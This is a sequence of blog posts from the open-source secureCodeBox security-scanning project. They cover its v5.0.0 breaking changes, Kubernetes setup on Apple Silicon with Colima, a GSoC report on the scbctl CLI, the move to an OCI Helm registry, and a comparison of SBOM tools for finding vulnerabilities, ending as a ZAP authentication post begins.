Major Breaking Changes​

Scanner Ecosystem Overhaul​

We've made significant changes to our scanner lineup to improve performance and maintainability:

Removed Scanners:

• zap-baseline-scan and zap-advanced - replaced by the more powerful zap-automation-framework
• amass - replaced by subfinder. While amass is an amazing tool, its recent focus on becoming a standalone platform/database for attack surfaces made integration and updates in secureCodeBox increasingly challenging
• kubeaudit - users should migrate to trivy with Kubernetes mode
• typo3scan, doggo, and cmseek - removed due to maintenance overhead

New Addition:

• subfinder - A very good replacement for subdomain discovery that's also generally quicker and produces similar results to previous tools. This represents a significant improvement in our subdomain enumeration capabilities.

CommonJS to ESM Migration: A Technical Leap Forward​

One of the most significant technical improvements in v5.0.0 is the complete migration of all parsers and hooks from CommonJS to ECMAScript Modules (ESM). This modernization effort brings several benefits:

• Performance Improvements: ESM provides better tree-shaking and optimization opportunities, leading to reduced CPU load and faster execution times
• Modern JavaScript Support: Enables us to leverage the latest JavaScript features and maintain compatibility with modern Node.js versions
• Dependency Updates: As part of this migration, we've updated to @kubernetes/client-node v1.x and other modern dependencies
• Future-Proofing: ESM is the standard for JavaScript modules, ensuring long-term compatibility and maintainability

This migration required significant refactoring work but results in a more robust and performant codebase that will serve as a solid foundation for future developments.

MinIO Infrastructure Changes: Ensuring Stability​

We've replaced the Bitnami MinIO subchart with a direct MinIO deployment due to upstream stability issues. The upstream minio/charts and images were no longer providing a stable environment, requiring us to implement a more reliable solution.

Important Migration Notes:

• Data Migration: Data will NOT be migrated automatically from previous MinIO deployments. However, since secureCodeBox's S3 storage is designed for temporary file storage during scan runtime, this is usually not an issue
• Backup Recommendation: For users with important data, we recommend performing a backup before upgrading
• Production Environments: Continue using external S3-compatible storage solutions for production deployments

Additional Breaking Changes​

• Kubernetes RBAC: Renamed ClusterRole from manager-role to securecodebox-manager-role for better naming consistency
• Trivy Scope: Changed default Kubernetes scope from cluster to namespace for improved security posture
• Elasticsearch: Dropped integrated Elasticsearch and Kibana Helm charts, changed default index from scbv2 to scb

Significant Performance Improvements​

Beyond the breaking changes, v5.0.0 includes impressive performance enhancements achieved by bundling the parser & hook SDK:

• Reduced CPU Load: Up to 5x reduction in CPU usage across parsers and hooks
• Faster Execution: Parser and hook execution times improved by up to 2x
• Enhanced Security: Updated security contexts and resource configurations for better container security
• Scanner Updates: Multiple scanner versions updated including gitleaks, nuclei, semgrep, and trivy

These performance improvements represent some of the most significant optimizations in secureCodeBox's history, directly impacting resource efficiency and scan completion times.

Kubernetes Service AutoDiscovery Enhancement​

We've migrated the Kubernetes Service AutoDiscovery feature to use the ZAP Automation Framework, providing better integration and more consistent scanning capabilities.

Migration Guide​

For detailed migration instructions and breaking change information, please refer to our full release notes on GitHub.

Key Migration Steps:

1. Review removed scanners and update your scan configurations
2. Plan for MinIO data migration if using persistent storage
3. Update any custom RBAC references to the new ClusterRole names
4. Test scanner replacements (especially subfinder for amass users)

Looking Forward​

Version 5.0.0 represents a significant milestone in secureCodeBox's evolution. The modernization efforts, particularly the ESM migration and infrastructure updates, provide a solid foundation for future innovations while improving performance and maintainability.

We encourage all users to carefully review the breaking changes and plan their migration accordingly. As always, our community is ready to help with any questions or issues you encounter during the upgrade process.

For the complete changelog and technical details, visit the v5.0.0 release page on GitHub.

Happy scanning! 🔍

In the last years we gained some attraction with our project, as you can see by the GitHub stars:

But one of the major concerns we often heard in the past was:

Nice project, but I don't have a Kubernetes cluster to try it out.

Setting up a Kubernetes cluster is a major concern if you're not used to it. What seems to be a no-brainer for DevOps Engineers may be show-stopper for e.g. security engineers, pentesters, CISOs, Product Owners, etc. who just want to try it out.

That's the reason why we decided last year to start building secureCodeBox as a service, and now it's in a state where we can put it in front of the public. For that, we set up a dedicated Kubernetes cluster and developed a simple Web UI to interface with secureCodeBox. So you don't need to mess around with kubectl on command line 🤗

At the moment, we do a very basic cascading scan:

1. We scan for all subdomains.
2. We scan for all open ports on each found hostname.

We plan more elaborated scans for the future, e.g.:

• TLS
• SSH
• dangling DNS
• ...

Why Hosted on a Company Domain?​

Maybe you recognized that secureCodeBox as a service is hosted under a company domain of the iteratec GmbH. iteratec is the main sponsor of secureCodeBox. The reason why we host the service there instead under the open source project's domain is for legal reasons. Since we're located in Germany, and we have something called the "Hackerparagraph" (you can be sued for scanning if not permitted by the owner of the scanned systems). To prevent the individual maintainers or maybe the OWASP getting sued, we needed a legal entity to be in charge and as a legal party for the terms of use. Of course, we asked a lawyer. 😉

Since the introduction of Apple Silicon CPUs we couldn't run Vagrant with Virtualbox anymore because Virtualbox is not ported on ARM at the moment. This may change in the future. I've also tried to get Vagrant up and running with other hypervisors (e.g. VMWare, QEMU), but didn't worked out well 😫

Since the setup of secureCodeBox with Minikube, Kind or Colima is quite easy we drop Vagrant completely. With Colima, you can also run x86 images easily on arm hist as described in Run x86 Images With Kubernetes on Apple Silicon.

To be honest, using VMs is so 20th century like 😬

(Photo by Weltraumschaf)

Meet us at out small assembly at 38C3.

You may find us at the OWASP secureCodeBox assembly at 38C3:

We have stickers and an up and running OWASP Juice Shop MultiJuicer cluster for hacking.

We already had the release scheduled for the next breaking release (v5.0.0), but we can't wait until then as the Docker Hub repository (docker.io/mozilla/ssh_scan) which contained the scanner was already deleted by either Mozilla or DockerHub. This makes using the scanner in any version no longer possible.

If you were still using the ssh-scan ScanType, we recommend switching over to the newer ssh-audit which we added after the deprecation of the Mozilla ssh_scan project.

Cover photo by Bill Fairs on Unsplash.

Maybe you've heard from the shiny new CPUs from Apple: Silicon. Besides the good things (low power consumption, less fan noise) they have not so shiny drawbacks. One ran into is the problem of running containers built with/for x86 architecture. Yes, the problem itself is completely solved: Multi arch images. But, not every project builds them. No, I'm not looking at you DefectDojo 😉 BTW secureCodeBox provides multi arch images 🤗 So, I tinkered around with my Mac to get our secureCodeBox setup with DefectDojo up and running on Silicon Macs. Since there was not much help out there in the Internet I use this post to summarize the steps to get it run, for later reference.

Colima FTW​

I use Colima since roundabout a year now as drop in replacement for Docker Desktop. Works great. It was never necessary to read docs. It runs x86 images emulated via Qemu. But running single containers is not sufficient for secureCodeBox. Kubernetes is mandatory. Until now, I used Minikube, but it can't run x86 images on Silicon Macs. KIND also does not support them, as my colleagues told me. Some days ago, I told a friend about Colima, and he said: "Oh, nice. It can start a Kubernetes cluster."

Remember, I've never read the docs 😬 To install Colima and start a Kubernetes just execute (I assume you have Homebrew installed.):

brew install colima
colima start -f --kubernetes --arch x86_64

Should I Use Brew Services to Launch Colima at Login?​

TL;DR: No, don't!

Brew offers very simple solution to start such services on login it. Just simply run brew services start colima and Colima will always start on login.

The "problem" with brew services ia, that it always uses the LaunchAgents plist-File from the brew. For Colima this means that brew services start colima always copies the file from the Homebrew's Formula to ~/Library/LaunchAgents/homebrew.mxcl.colima.plist. But since this LaunchAgents definition invokes colima without the arguments --kubernetes and --arch x86_64 you need to modify it:

...
<key>ProgramArguments</key>
<array>
    <string>/opt/homebrew/opt/colima/bin/colima</string>
    <string>start</string>
    <string>-f</string>
</array>
...

If you modify this file and restart the daemon via brew services your changes will be lost! And this is by design.

You have two options:

1. Either start it by hand: colima start --kubernetes --arch x86_64 or
2. handroll your own LaunchDaemon:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
	<key>EnvironmentVariables</key>
	<dict>
		<key>PATH</key>
		<string>/opt/homebrew/bin:/opt/homebrew/sbin:/usr/bin:/bin:/usr/sbin:/sbin</string>
	</dict>
	<key>KeepAlive</key>
	<dict>
		<key>SuccessfulExit</key>
		<true/>
	</dict>
	<key>Label</key>
	<string>de.weltraumschaf.colima</string>
	<key>LimitLoadToSessionType</key>
	<array>
		<string>Aqua</string>
		<string>Background</string>
		<string>LoginWindow</string>
		<string>StandardIO</string>
	</array>
	<key>ProgramArguments</key>
	<array>
		<string>/opt/homebrew/opt/colima/bin/colima</string>
		<string>start</string>
		<string>-f</string>
		<string>--kubernetes</string>
		<string>--arch</string>
		<string>x86_64</string>
	</array>
	<key>RunAtLoad</key>
	<true/>
	<key>StandardErrorPath</key>
	<string>/opt/homebrew/var/log/colima.log</string>
	<key>StandardOutPath</key>
	<string>/opt/homebrew/var/log/colima.log</string>
	<key>WorkingDirectory</key>
	<string>/Users/sst</string>
</dict>
</plist>

And store it in the file ~/Library/LaunchAgents/de.weltraumschaf.colima.plist. Obviously, change "de.weltraumschaf" to whatever you like. Instead of Homebrew, now you need to use launchctl to interact with the LaunchAgent.

Install secureCodeBox with DefectDojo​

The rest is straight forward. To install secureCodeBox simply execute (as documented here):

helm --namespace securecodebox-system \
    upgrade \
    --install \
    --create-namespace \
    securecodebox-operator \
    oci://ghcr.io/securecodebox/helm/operator

Then install the scanners you want, e.g. Nmap:

helm install nmap oci://ghcr.io/securecodebox/helm/nmap
kubectl get scantypes

To install DefectDojo the easiest way is to clone their repo and install from it (as documented here):

git clone https://github.com/DefectDojo/django-DefectDojo
cd django-DefectDojo

helm repo add bitnami https://charts.bitnami.com/bitnami
helm repo update
helm dependency update ./helm/defectdojo

helm upgrade --install \
  defectdojo \
  ./helm/defectdojo \
  --set django.ingress.enabled=true \
  --set django.ingress.activateTLS=false \
  --set createSecret=true \
  --set createRabbitMqSecret=true \
  --set createRedisSecret=true \
  --set createMysqlSecret=true \
  --set createPostgresqlSecret=true \
  --set host="defectdojo.default.svc.cluster.local" \
  --set "alternativeHosts={localhost}"

Get DefectDojo admin user password:

echo "DefectDojo admin password: $(kubectl \
      get secret defectdojo \
      --namespace=default \
      --output jsonpath='{.data.DD_ADMIN_PASSWORD}' \
      | base64 --decode)"

Finally forward port to service:

kubectl port-forward svc/defectdojo-django 8080:80 -n default

Now you can visit the DefectDojo web UI at http://localhost:8080.

Hey there, I'm Thibaut Batale, and I'm thrilled to share my experience as a Google Summer of Code contributor with OWASP secureCodeBox. Being selected to participate in this program was a unique opportunity, but what excited me the most was being chosen for the very first project I applied to. I wanted to spend this summer battling with Kubernetes, and I got exactly what I wished for—and more.

If you’re curious about my contributions during GSoC 2024, you can check out my Pull Requests on GitHub. You can also find more details about my project by visiting the Project link.

My Project: Introducing the secureCodeBox CLI​

Imagine this scenario: You want to assess your security environment by testing for various vulnerabilities. With secureCodeBox, you can launch multiple security tests. However, traditionally, you would first need to create a YAML file defining the scan parameters and then use the kubectl command to apply that file. This process can be tedious and time-consuming, especially if you’re managing multiple scans.

This is where the scbctl CLI comes in. By providing a set of commands that interact directly with the secureCodeBox operator, the CLI tool simplifies and streamlines the process of managing security scans, making it more efficient and user-friendly.

During the summer, I focused on two main goals: implementing the new commands and adding unit tests to ensure their reliability.

Commands Technical Implementation​

The commands implementation essential follows this workflow

.

1. Create Scan Command (scbctl scan)​

The scbctl scan command was designed to simplify the initiation of new security scans. Instead of manually creating a YAML file and applying it with kubectl, users can now start a scan directly from their terminal. This command interacts with the secureCodeBox operator by creating a Scan custom resource (CR) in the specified namespace. The operator then processes this CR, triggering the appropriate scanner to run the specified tests.

Usage Example:

scbctl scan nmap -- scanme.nmap.org

This command creates a new Nmap scan targeting scanme.nmap.org.

Output:

🆕 Creating a new scan with name 'nmap' and parameters 'scanme.nmap.org'
🚀 Successfully created a new Scan 'nmap'

2. Observe Scan Command (scbctl scan --follow)​

The --follow flag enhances the scbctl scan command by providing real-time feedback on the progress of a scan. Once a scan is initiated, users can observe its progress directly from their terminal. This feature interacts with the secureCodeBox operator by streaming logs from the Kubernetes Job and Pods associated with the scan, giving users visibility into the scan’s status and results as they happen.

Usage Example:

scbctl scan nmap --follow -- scanme.nmap.org

This command initiates a scan and follows its progress in real-time.

Output:

Found 1 job(s)
Job: scan-nmap-jzmtq, Labels: map[securecodebox.io/job-type:scanner]
scan-nmap-jzmtq📡 Streaming logs for job 'scan-nmap-jzmtq' and container 'nmap'
Starting Nmap 7.95 ( https://nmap.org ) at 2024-08-23 11:59 UTC
Nmap scan report for scanme.nmap.org (45.33.32.156)
Host is up (0.33s latency).
Other addresses for scanme.nmap.org (not scanned): 2600:3c01::f03c:91ff:fe18:bb2f
Not shown: 996 closed tcp ports (conn-refused)
PORT      STATE    SERVICE
22/tcp    open     ssh
80/tcp    filtered http
9929/tcp  open     nping-echo
31337/tcp open     Elite

Nmap done: 1 IP address (1 host up) scanned in 30.19 seconds

3. Trigger Scan Command (scbctl trigger)​

The scbctl trigger command allows users to manually trigger a ScheduledScan resource. Scheduled scans are designed to run at predefined intervals, but there are times when an immediate execution is required. This command interacts with the secureCodeBox operator by invoking the ScheduledScan resource and creating a new Scan based on the schedule’s configuration.

Usage Example:

scbctl trigger nmap --namespace foobar

This command triggers the nmap scheduled scan immediately.

Output:

triggered new Scan for ScheduledScan 'nmap'

4. Cascade Visualization Command (scbctl cascade)​

The scbctl cascade command provides a visualization of cascading scans—scans that are automatically triggered based on the results of a previous scan. This command interacts with the secureCodeBox operator by querying all Scan resources in a given namespace and identifying relationships based on the ParentScanAnnotation. It then generates a hierarchical tree that visually represents these cascading relationships.

Usage Example:

scbctl cascade

This command visualizes the cascading relationships between scans in the current namespace.

Output:

Scans
├── initial-nmap-scan
│   ├── follow-up-vulnerability-scan
│   │   └── detailed-sql-injection-scan
└── another-initial-scan
    └── another-follow-up-scan

Test Coverage Implementation​

Testing was a crucial part of the development process, especially considering the complexity of the CLI commands and their interactions with the secureCodeBox (SCB) operator. Achieving an overall test coverage of 78% involved writing extensive unit tests that validated the behavior of each command and ensured they interacted correctly with the Kubernetes resources.

Mocking the Kubernetes Client​

To simulate the Kubernetes environment and test the SCB commands without deploying them on an actual cluster, I used the fake.Client from the controller-runtime library. This allowed me to create a mock client that mimicked the behavior of the Kubernetes API, enabling thorough testing of the command interactions.

Here’s an example of a test case for the scbctl scan command:

testcases := []testcase{
    {
        name:          "Should create nmap scan with a single parameter",
        args:          []string{"scan", "nmap", "--", "scanme.nmap.org"},
        expectedError: nil,
        expectedScan: &expectedScan{
            name:       "nmap",
            scanType:   "nmap",
            namespace:  "default",
            parameters: []string{"scanme.nmap.org"},
        },
    },
    // Additional test cases...
}

In this test, I defined different scenarios to validate the command's behavior. Each test case included the expected arguments, any expected errors, and the expected state of the scan resource after execution.

Testing Command Behavior​

The tests focused on validating that the CLI commands correctly created the necessary Kubernetes resources, such as Scan objects. For example, the scbctl scan command was tested to ensure it created a scan with the correct type, parameters, and namespace:

if tc.expectedScan != nil {
    scans := &v1.ScanList{}
    listErr := client.List(context.Background(), scans)
    assert.Nil(t, listErr, "failed to list scans")
    assert.Len(t, scans.Items, 1, "expected 1 scan to be created")

    scan := scans.Items[0]
    assert.Equal(t, tc.expectedScan.name, scan.Name)
    assert.Equal(t, tc.expectedScan.namespace, scan.Namespace)
    assert.Equal(t, tc.expectedScan.scanType, scan.Spec.ScanType)
    assert.Equal(t, tc.expectedScan.parameters, scan.Spec.Parameters)
}

This code snippet checks that the correct Scan object was created in the Kubernetes cluster, verifying that the CLI command worked as intended.

By running these tests and implementing these scenarios, I ensured that the scbctl tool behaved as expected under various conditions, contributing to the robustness of the secureCodeBox CLI tool.

Challenges​

This summer wasn’t without its challenges. Balancing time became difficult when my school resumed, and I encountered several technical hurdles along the way. The most notable was implementing the --follow flag. Initially, we used the controller-runtime, but it lacked the necessary support for streaming logs. We considered switching to the go-client, but it introduced inconsistencies that could delay the project. After extensive discussions with my mentor Jannik Hollenbach, we decided to defer this feature for future implementation. This experience taught me the importance of thorough research and adaptability in problem-solving.

Overall Experience and Future Prospects​

One of the most rewarding aspects of working on this project was the continuous learning curve. Whether diving into the complexities of the codebase or exploring the broader capabilities of secureCodeBox, there was always something new to discover. This constant evolution is what made the project so fascinating for me.

As the project reaches completion, maintaining and building upon these efforts is crucial. Looking ahead, I plan to focus on integrating monitoring features using the controller-runtime whenever its available, which will enhance the tool's ability to provide real-time feedback. Additionally, I aim to refine existing commands, particularly the cascade command, by adding flags to display the status of each scanner. This will provide users with more detailed insights into their scans. My commitment to improving and maintaining the project will ensure its continued success and relevance in the future.

What Will Happen?​

• The existing registry (https://charts.securecodebox.io) will be deprecated with secureCodeBox 4.6.0 and will be shut down at the end of the year.
• All 4.x secureCodeBox Helm charts are already published to our OCI registry.
• All 4.x releases of secureCodeBox will be published to both registries. Version 5.0.0 will be the first release to be exclusively published to the OCI registry.
• All users are advised to migrate their Helm releases based on the charts from the OCI registries to ensure smooth operations.

What Steps Are Required by Users:​

You'll need to switch the source of your Helm charts to point to the OCI registry. This process is straightforward.

When using Helm via the CLI/CI:

# Before
helm --namespace securecodebox-system install securecodebox-operator secureCodeBox/operator

# After
helm --namespace securecodebox-system install securecodebox-operator oci://ghcr.io/securecodebox/helm/operator

Existing releases that have been installed using the charts.securecodebox.io registry can be switched easily:

# Prior installation:
helm upgrade --install nmap secureCodeBox/nmap --version 4.5.0

# To switch the same Helm release to OCI, simply install the release with the same name from OCI:
helm upgrade --install nmap oci://ghcr.io/securecodebox/helm/nmap --version 4.5.0

Both ArgoCD and Flux also support OCI Helm charts.

Why Are We Doing This:​

• 🧱 Stability: The https://charts.securecodebox.io registry is the only component we need to self-host to provide secureCodeBox to the internet. There have been issues and downtime before, which we’d like to avoid in the future by having the charts hosted for us by the GitHub container registry.
• 💰 Cost Efficiency: Hosting the charts requires a significant amount of bandwidth (about 4TB a month for the now quite large index.yaml file and the zipped Helm charts). We have migrated to a cheaper setup, but it has cost us some money in the past.
• 🤹 Ease of Use: OCI-based charts don't require users to add the registry to their Helm installation beforehand. This will hopefully ease some friction for users who are not familiar with Helm.

Cover photo by Look Up Look Down Photography on Unsplash.

This is part two of the SBOM story which covers the consuming side. If you missed part one, you can find it here.

One would assume that with a standardized format the combinations of generator and consumer are interchangeable, but as noted previously, the SBOMs still vary in content and attributes.

Possible SBOM Consumers and Interoperability Troubles​

Generating SBOMs is a nice first step of the workflow, but at some point you probably want to actually use them for something, and most people would prefer to use something more advanced than grep or a text editor. There is a good amount of possible tools to work with SBOMs, both the SPDX and the CycloneDX website contain a list. Most of the analysis tools provide license compliance, so there are not that many to work with them for vulnerability management, which is what we want to focus on for the secureCodeBox.

SBOM Consumers​

There are still multiple options for consuming SBOMs when focusing on vulnerabilities. To integrate one of them with a hook for an SBOM workflow, a continuously running tool as a service is needed. This list nevertheless contains some tools, that are only usable for one-off analyses. These were used for general SBOM quality comparisons.

Trivy​

Since Trivy is primarily a security scanner, it can also scan SBOMs for security vulnerabilities. Of course generating SBOMs with Trivy just to scan them with Trivy later is not the most interesting use case, especially since the secureCodeBox already supports Trivy scans. It does still serve as an interesting baseline, to compare Trivy SBOM scan results to direct Trivy scans.

When directly scanning the Juice Shop image, Trivy detects 23 issues in debian packages and 67 in node packages, some as "fixed" and some as "affected". Scanning the Juice Shop CycloneDX SBOM returns the same 23 debian issues, but only 51 node vulnerabilities. Comparing the lists shows that there are fewer reported vulnerabilities for the semver package. Turns out, that the same version of semver is included multiple times throughout the dependency tree, which gets deduplicated in the produced SBOM, but counted as individual vulnerabilities for the direct scan. Other than that the same vulnerabilities are reported. The SPDX SBOM contains all the semver usages and reports 67 node vulnerabilities again.

For the Syft SBOMs, Trivy reports only 8 debian vulnerabilities, all for openssl. The ones for libc6 and libssl1.1 are not picked up. For node 51 vulnerabilities are reported, which is interesting, because Syft does not deduplicate components in its SBOMs, so the same semver versions are listed multiple times. Trivy also warns about inaccuracies in scans of third party SBOMs, which is unfortunate, after all the point of standards is interoperability.

Grype​

Compared to Trivy, Syft is only a tool to generate SBOMs, not a security scanner to gain insight from SBOMs or other sources. Anchore offers a companion application to Syft, called Grype, which can then be used to scan SBOMs for vulnerabilities. Grype can also directly scan container images.

Scanning the same Juice Shop image with Grype directly reveals 87 security vulnerabilities. The same is true for scanning Syft's json or CycloneDX output. The SPDX output produces 71 vulnerabilities, the missing ones are again the deduplicated semver issue GHSA-c2qf-rxjj-qqgw. Scanning Trivy SBOMs with Grype reveals fewer issues, 56 for both the SPDX and the CycloneDX SBOM. Other than the missing duplicated semver issue, some glibc CVEs are missing and some OpenSSL vulnerabilities are only found for OpenSSL instead of for both OpenSSL and libssl.

If an SBOM does not contain CPEs, Grype offers to add them to improve vulnerability discovery. For the Trivy SBOMs this did not increase the amount of vulnerabilities recognized. In these tests, Grype vTODO was used.

Dependency-Track​

The problem with both those tools is, that they are one-off invocations, consuming a single SBOM. A continuous SBOM workflow needs a continuosly running service to accept the SBOMs, which then get analyzed regularly and can be checked for components or vulnerabilities. OWASP Dependency-Track is a self hosted service that offers exactly that. SBOMs can be uploaded through the GUI or by using the API, but only in CycloneDX format, Dependency-Track does not support SPDX SBOMs. Support is planned again in the future, but depends on changes to the SPDX schema. After the import, Dependency-Track analyzes them and generates lists of components and vulnerabilities. Which vulnerabilities are recognized depends on the enabled analyzers and vulnerability sources. By default the Docker deployment I used enabled the Internal Analyzer and the Sonatype OSS Index as analyzers (even though the FAQ says OSS Index is disabled by default) and the National Vulnerability Database (NVD) as data source. The best practices recommend to additionally enable the GitHub Advisory Database as data source, which I did for later tests.

For the Juice Shop SBOM, without using the GitHub Advisory Database, Dependency Track finds 35 vulnerabilities in the Trivy SBOM and 88 in the one generated by Syft. This is a pretty big difference, which has multiple reasons. First of all, neither Syft nor Dependency-Track deduplicate packages, so each occurence of semver gets a new vulnerability entry for CVE-2022-25883. Then again, only Syft's SBOMs contain CPEs, which are needed to find and match vulnerabilities in the NVD.

After enabling the GitHub Advisory Database, Dependency-Track reports 87 vulnerabilities for the Trivy SBOM, and 156 for Syft's. It is not trivial to compare by which vulnerabilities this exactly differs, because they often have mutliple identifiers, which can lead to the same vulnerability getting reported multiple times. The counts of the severity categories also changed, but instead of strictly increasing there were more vulnerabilities of lower severity.

This is what the Dependency-Track dashboard looks like for those four projects, representing different analyses of the Juice Shop image. Dependency-Track 4.8.2 was used for the tests covered in this blogpost.

Others​

As an OWASP project, Dependency-Track is a good first choice for an SBOM consumer and shows some of the problems which occur when building a complete SBOM workflow. There are other tools with similar functionality as well, but at this point selecting the best tool is not necessary. This is a collection of other possible tools that I did not test but which looked possibly fitting at a first glance, listed here as a reference.

The open source community DevOps Kung Fu Mafia develops a tool called bomber. Judging by the description it is very similar to Trivy or Grype, but instead of shipping or building their own combined vulnerability database, bomber directly checks vulnerabilities against either OSV, OSS Index or Snyk.

The FOSSLight Hub lists SBOM support (SPDX only) and vulnerability management as capabilities. Main usage and features seem to aim at license compliance though.

The Eclipse Foundation provides the software catalogue application SW360. It lists vulnerability management as one of its features and supports both SPDX and CycloneDX imports. There is currently a discussion going on about using it as an SBOM management tool.

The KubeClarity tool by OpenClarity provides Kubernetes, container and filesystem scanning and vulnerability detection. It uses a pluggable architecture to support multiple scanners and analyzers in a two step process with SBOMs as an intermediate product. Currently used scanners are Trivy, Syft and Cyclonedx-gomod. The analyzers are Trivy, Grype and Dependency-Track.

The Naming Problem​

As mentioned multiple times, one of the differences between Trivy's and Syft's SBOMs are the Common Package Enumerations (CPEs) that only Syft includes. Among package urls (purls), they are a way of uniquely identifying software applications or packages, which is needed to match packages against vulnerabilities listed in a database. While many databases already include purls as references, the National Vulnerability Database (NVD) does not. This prevents the vulnerabilities, that are not duplicated to other databases (like Debian's) to get reported.

So if including CPEs improves vulnerability matching, why does Trivy not include them? Because CPEs are difficult and inconvenient to work with. Accurately but automatically assigning the correct CPE is not trivial, because the format includes a vendor field, which does not always match the most trivial guess. This fits closed source software distributed by companies, but not the modern OSS environment of small packages by individual contributors. There is an official CPE dictionary, which should be used to match components to CPEs, but even with that matching the correct software is not straightforward. For redis for example, it contains among others Anynines redis (cpe:2.3:a:anynines:redis:2.1.2:*:*:*:*:pivotal_cloud_foundry:*:*), a product using redis, hiredis (cpe:2.3:a:redislabs:hiredis:0.14.0:*:*:*:*:*:*:*), a C client, and the in-memory data store most people would think of (used to be cpe:2.3:a:pivotal_software:redis:4.0.10:*:*:*:*:*:*:* but is now cpe:2.3:a:redislabs:redis:4.0.10:*:*:*:*:*:*:*). Since CPEs are centrally managed, they are often only assigned when a vulnerability is reported, so proactively monitoring for vulnerabilities turns into a guessing game. This describes Syft's strategy of assigning CPEs pretty well, try to generate CPEs on a best effort basis, which of course fails sometimes. For Trivy there is an open issue to include CPEs, but it does not specifically mention SBOMs.

Because of these problems, CPEs were already deprecated by the NVD, with the intention of replacing them by Software Identification Tags (SWID) instead. Since the migration is currently not moving along, CycloneDX undeprecated CPEs again.

Package urls are a more recent naming scheme, which make automatic assignment a lot easier. Most other databases either directly support them already (like OSS Index or Google's OSV), or contain the information needed to work with them (like GitHub advisories, but including them is debated). The most important one that does not is the NVD, which is why there are multiple requests and proposals for purls to get added.

This problem, that there is no unique identifier for software products that works across ecosystems, is known as the naming problem among people working with SBOMs. There are several proposals for fixing the status quo, which all boil down to "the NVD needs to use purls" for at least part of their solution. The most important proposal is A Proposal to Operationalize Component Identification for Vulnerability Management, released September last year by a group calling themselves the SBOM Forum. In their statement, they also detail the problems of CPEs and propose using purls for identifying software, but other identifiers for hardware. Work is ongoing to improve the NVD but it is a slow process. Tom Alrich, the founder of the SBOM Forum, regularly informs about updates on his blog.

Other Problems with SBOMs​

Apart from the naming problem, SBOMs are still not the perfect solution for software composition analysis. While SBOMs contain information about the software and version used, linux distributions often apply their own patches to the packages they distribute. These patches regularly include backported fixes for security vulnerabilities as part of a distributions long term support commitments. While getting this support is nice, it might lead to false positive vulnerability reports, because either the SBOM does not contain information about the specific distribution version of a package, or the vulnerability database it is matched against only contains information about fixes in the upstream version.

As an example, according to the NVD, CVE-2022-4450 affects openssl starting with 1.1.1 and is fixed in 1.1.1t. The Debian advisory though reports, that a fix has been released for 1.1.1n-0+deb11u4, which is the version used in the Juice Shop image. Dependency-Track still reports the vulnerability though. This means, that for accurate reports, the security advisories of the individual distributions would need to be considered as well, which further complicates the vulnerability mapping. Dependency-Track has an open issue about this, so this problem is known as well, but the solution is not straight forward.

Another devil hides in the details: just because a dependency is included, this does not mean, that a vulnerability is actually exploitable through the application using it. Depending on how deep in a dependency chain some library is included, it could range from trivial to impossible, to trigger the flaw at all. The application or top-level library using the vulnerable dependency might not even use the affected feature. SBOMs of course cannot judge that, they only inform about a component being present, which is the only information that consumption systems can rely on.

A possible solution for this problem is a Vulnerability Exploitability eXchange (VEX), basically a standardized security advisory. CycloneDX supports including vulnerability information, which can be used to build VEX. For applications, this can only be sensibly done by the vendor though, otherwise every consumer would need to individually analyze an application. For this reason, Tom Alrich also argues, that it would be better for vendors to do these analyses themselves and communicate it to all their users/customers, kind of how security advisories already work, but standardized and integrated into automatic tools.

Related Content​

Chainguard published a blog post about using purls in SBOMs. It includes a description of the naming problem and an analysis of Grype as container and SBOM scanner. The goal was to conclude how many false positives could be eliminated by including purls in the generated SBOMs. They conclude that around 50-60% could be avoided.

Joseph Hejderup and Henrik Plate compared different tools to generate SBOMs in a case study as part of their presentation In SBOMs We Trust: How Accurate, Complete, and Actionable Are They? at FOSDEM 2023. They analyze three tools, two generic ones and one generating SBOMs at build-time, and take a more in-depth look at the details and accuracy of the generated SBOMs. They anonymize the tools they used, but from the list of tools I found as possible options, I suspect that the two generic solutions are Trivy and Syft.

Another comparison of SBOM generation tools is included in Shubham Girdhar's master thesis Identification of Software Bill of Materials in Container Images. He compares Syft, Tern, Trivy and Dagda, which is not an SBOM tool but a security scanner.

In their article A comparative study of vulnerability reporting by software composition analysis tools (pdf freely available here), Imtiaz, Thorn, and Williams compare vulnerability reporting tools for software supply chain. Instead of SBOM tools they evaluate OWASP Dependency-Check, Snyk, GitHub Dependabot, Maven Security Versions, npm audit, Eclipse Steady and three unnamed commercial tools. Their results are very similar to my findings for SBOM workflows, the number of reported vulnerabilities varies a lot, vulnerabilities can be duplicated, and depend on the identifiers used.

Xia et al. released An Empirical Study on Software Bill of Materials: Where We Stand and the Road Ahead this year. In their study, they do not compare SBOM tools, but instead interview "SBOM practitioners" to assess how SBOMs are used today and how that could be improved. One of their findings is the immaturity of SBOM consumption tools. Although Dependency-Track is mentioned and used a few times, respondents felt, while it was user-friendly, it was not enterprise-ready.

Interlynk maintains an SBOM benchmark. They rank SBOMs by calculating their own quality score for them.

For accurately including CPEs in SBOMs, open source mappings between CPEs and purls exist. Both SCANOSS and nexB maintain a dataset.

Conclusions​

Generating SBOMs from containers and automatically, regularly analyzing them for vulnerabilities works, but the results are not as accurate as one would hope. Generating SBOMs during build time rather than from containers images helps, but is not a workflow we can rely on for the secureCodeBox. Some of the problems, like the naming problem, will get better in the future, but the road there is long and the schedule unclear.

For the secureCodeBox, we decided to implement an MVP by using Trivy to generate CycloneDX SBOMs and sending them to Dependency-Track with a persistence hook. Trivy is already used in the secureCodeBox, which makes generating SBOMs and maintenance easier. Syft SBOMs might be better because of their included CPEs, but they mostly matter for the OS packages of a container. If we feel that SBOMs with CPEs are needed, and Trivy has not added that feature, we can still integrate Syft in the future. The secureCodeBox architecture prioritizes configurability and composability, so we are also looking into generating SPDX SBOMs in the future.

The OWASP Zed Attack Proxy (ZAP) can be a powerful tool for pentesters and AppSec testing. However, some of its functionality can be a bit hard to wrap your head around at first. In this post, we will describe how to use one of the more powerful features of the software: Authentication and session management. First, we will show you how to develop an authentication script for a new, previously-unsupported authentication scheme, using the graphical ZAP interface. Afterwards, we will dive into how the same can be achieved inside the secureCodeBox using the newly-supported ZAP Automation Framework.

Why Use Authentication Scripts?​

